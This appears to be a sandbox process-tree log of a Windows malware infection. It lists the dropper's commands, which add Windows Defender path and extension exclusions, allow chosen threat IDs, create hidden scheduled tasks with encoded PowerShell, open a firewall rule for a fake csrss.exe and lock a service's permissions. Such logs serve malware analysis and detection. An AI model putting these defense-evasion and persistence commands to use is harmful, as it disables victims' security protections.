\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:328⤵PID:5116
-
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:648⤵PID:3224
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gPsBKjbMU" /SC once /ST 11:18:17 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="6⤵
- Creates scheduled task(s)
PID:2364
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gPsBKjbMU"6⤵PID:4000
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gPsBKjbMU"6⤵PID:916
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bvgvHgqNgKCzXIKVFa" /SC once /ST 20:56:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\PPoGfHUEJWMQlhdih\STqvVSINdDxWlBS\lmKQlBZ.exe\" Lc /kgsite_idmdR 385118 /S" /V1 /F6⤵
- Creates scheduled task(s)
PID:3232
-
-
-
-
-
C:\Users\Admin\Pictures\aOWLyQ4AeJw8I0dS4tGLQY9R.exe"C:\Users\Admin\Pictures\aOWLyQ4AeJw8I0dS4tGLQY9R.exe" /VERYSILENT3⤵PID:5112
-
C:\Users\Admin\AppData\Local\Temp\is-C92K4.tmp\aOWLyQ4AeJw8I0dS4tGLQY9R.tmp"C:\Users\Admin\AppData\Local\Temp\is-C92K4.tmp\aOWLyQ4AeJw8I0dS4tGLQY9R.tmp" /SL5="$3027A,831488,831488,C:\Users\Admin\Pictures\aOWLyQ4AeJw8I0dS4tGLQY9R.exe" /VERYSILENT4⤵PID:2372
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 3961⤵
- Program crash
PID:3160
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 4121⤵
- Program crash
PID:4968
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 3881⤵
- Program crash
PID:2092
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 6601⤵
- Program crash
PID:3588
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 7481⤵
- Program crash
PID:3268 -
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes2⤵
- Modifies Windows Firewall
PID:828
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 7201⤵
- Program crash
PID:4448
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 7841⤵
- Program crash
PID:1428
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 8561⤵
- Program crash
PID:3896
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 8401⤵
- Program crash
PID:4428
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 9161⤵
- Program crash
PID:2356
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 8881⤵
- Program crash
PID:2232
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:508
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 8321⤵
- Program crash
PID:4512
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 6041⤵
- Program crash
PID:5060
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 7361⤵
- Program crash
PID:1392
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 6761⤵
- Program crash
PID:4588
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 6961⤵
- Program crash
PID:2324
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 6241⤵
- Program crash
PID:484
-
C:\Users\Admin\Pictures\rzuKW6hkPOVhwJc5rR8Tb2R4.exeC:\Users\Admin\Pictures\rzuKW6hkPOVhwJc5rR8Tb2R4.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=106.0.4998.70 --initial-client-data=0x2b4,0x2c4,0x2c8,0x290,0x2cc,0x6de09558,0x6de09564,0x6de095701⤵PID:1576
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵PID:4328
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force2⤵PID:4584
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵PID:1796
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc1⤵PID:4048
-
\??\c:\windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵PID:4824
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5004 -s 3561⤵
- Program crash
PID:316
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4196 -s 3241⤵
- Program crash
PID:4520
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4196 -s 5961⤵
- Program crash
PID:2984
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4196 -s 6361⤵
- Program crash
PID:3536
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5004 -s 6681⤵
- Program crash
PID:3432
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5004 -s 6601⤵
- Program crash
PID:4576
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4196 -s 6241⤵
- Program crash
PID:3068
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5004 -s 7681⤵
- Program crash
PID:4192
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile1⤵PID:1464
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile1⤵PID:1068
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4196 -s 7881⤵
- Program crash
PID:1572
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4196 -s 7161⤵
- Program crash
PID:3364
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5004 -s 6961⤵
- Program crash
PID:3232
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4196 -s 6881⤵
- Program crash
PID:1564
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5004 -s 6401⤵
- Program crash
PID:3992
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5004 -s 5961⤵
- Program crash
PID:1672
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5004 -s 3401⤵
- Program crash
PID:796
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4196 -s 3801⤵
- Program crash
PID:4588
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5004 -s 3961⤵
- Program crash
PID:2060
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4196 -s 3561⤵
- Program crash
PID:3920
-
C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵PID:3412
-
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)1⤵
- Launches sc.exe
PID:1816
-
C:\Users\Admin\AppData\Local\Temp\PPoGfHUEJWMQlhdih\STqvVSINdDxWlBS\lmKQlBZ.exeC:\Users\Admin\AppData\Local\Temp\PPoGfHUEJWMQlhdih\STqvVSINdDxWlBS\lmKQlBZ.exe Lc /kgsite_idmdR 385118 /S1⤵PID:5028
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"2⤵PID:4988
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:323⤵PID:2268
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:643⤵PID:1068
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:323⤵PID:4336
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:643⤵PID:3724
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:643⤵PID:4000
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:323⤵PID:3040
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:643⤵PID:3992
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:323⤵PID:96
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:643⤵PID:1268
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:323⤵PID:4116
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:643⤵PID:1156
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:323⤵PID:3920
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:643⤵PID:3896
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:323⤵PID:4168
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵PID:2968
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵PID:4048
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:643⤵PID:396
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:323⤵PID:3964
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:643⤵PID:1392
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:323⤵PID:1816
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:324⤵PID:1864
-
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:643⤵PID:2476
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:323⤵PID:208
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:643⤵PID:4280
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:323⤵PID:5024
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:643⤵PID:308
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:323⤵PID:3900
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:643⤵PID:2256
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:323⤵PID:4808
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AplGwAcKU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AplGwAcKU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\KpccCTQHFwdaQGGjlLR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\KpccCTQHFwdaQGGjlLR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\TewsSzADpkOsC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\TewsSzADpkOsC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZmXCVzpeviUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZmXCVzpeviUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\hzVOasbgcFlU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\hzVOasbgcFlU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\cAagwmwWSSyWmtVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\cAagwmwWSSyWmtVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\PPoGfHUEJWMQlhdih\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\PPoGfHUEJWMQlhdih\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\tisqMnSmFJrmHkYA\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\tisqMnSmFJrmHkYA\" /t REG_DWORD /d 0 /reg:64;"2⤵PID:4196
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AplGwAcKU" /t REG_DWORD /d 0 /reg:643⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4172
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\KpccCTQHFwdaQGGjlLR" /t REG_DWORD /d 0 /reg:323⤵PID:408
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\cAagwmwWSSyWmtVB /t REG_DWORD /d 0 /reg:323⤵PID:2256
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:643⤵PID:5024
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:323⤵PID:308
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\PPoGfHUEJWMQlhdih /t REG_DWORD /d 0 /reg:323⤵PID:1068
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\tisqMnSmFJrmHkYA /t REG_DWORD /d 0 /reg:643⤵PID:208
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\tisqMnSmFJrmHkYA /t REG_DWORD /d 0 /reg:323⤵PID:4280
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\PPoGfHUEJWMQlhdih /t REG_DWORD /d 0 /reg:643⤵PID:2268
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\cAagwmwWSSyWmtVB /t REG_DWORD /d 0 /reg:643⤵PID:3900
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hzVOasbgcFlU2" /t REG_DWORD /d 0 /reg:643⤵PID:4808
-
-
